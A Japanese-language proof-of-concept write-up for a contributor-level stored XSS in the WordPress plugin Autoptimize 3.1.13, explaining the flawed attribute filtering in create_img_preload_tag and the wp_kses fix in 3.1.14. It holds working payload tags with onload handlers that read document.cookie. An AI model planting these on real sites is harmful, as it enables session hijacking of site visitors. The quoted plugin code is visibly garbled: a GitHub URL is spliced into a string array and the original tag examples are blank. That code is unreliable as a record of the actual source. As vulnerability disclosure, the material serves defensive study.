
Autoptimize 3.1.14未満における認証済み保存型XSSの概念実証。画像プリロードタグ生成時の属性サニタイズ不十分を悪用。
脆弱性: 認証済み(Contributor以上)格納型クロスサイトスクリプティング(XSS)
影響を受けるバージョン: Autoptimize <= 3.1.13
修正バージョン: Autoptimize 3.1.14
ファイル: classes/autoptimizeImages.php
脆弱性は classes/autoptimizeImages.php 内の create_img_preload_tag() メソッドに存在します。この関数は、画像最適化またはプリロードが有効な場合に、コンテンツ内の画像に対して <link rel="preload"> タグを生成します。
バージョン 3.1.13 では、この関数は「ブラックリスト」方式(preg_replace を使用)を採用し、元の `` タグから title、alt、class、id、width、height などの特定の属性を削除してから <link> タグに変換します。しかし、onload や onerror などのイベントハンドラ属性の削除に失敗しています。
認証済みの攻撃者(Contributor 以上のロールを持つ)は、投稿内に悪意のある `` タグを埋め込むことができます。プラグインがこの投稿を処理してプリロードリンクを生成する際、悪意のあるイベントハンドラが保持され、<link> タグ内でページの <head> に注入されます。<link rel="preload"> は onload イベントをサポートしているため、リソースが読み込まれると JavaScript が実行されます。
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// 不十分なサニタイズ:特定の属性のみを削除
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag は、多くの場合、ビューポート内で検出された画像や明示的にプリロードされた画像に対してトリガーされます。<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- 悪意のある画像 -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/HEAD/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width、height などの属性は削除される可能性がありますが、onload は残ります。<link> タグを解析し、リソースをプリロードして onload イベントを発生させ、XSS が実行されます。このパッチは、ブラックリストの正規表現を wp_kses() に置き換え、生成される <link> タグに許可される属性の厳密なホワイトリストを適用します。
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );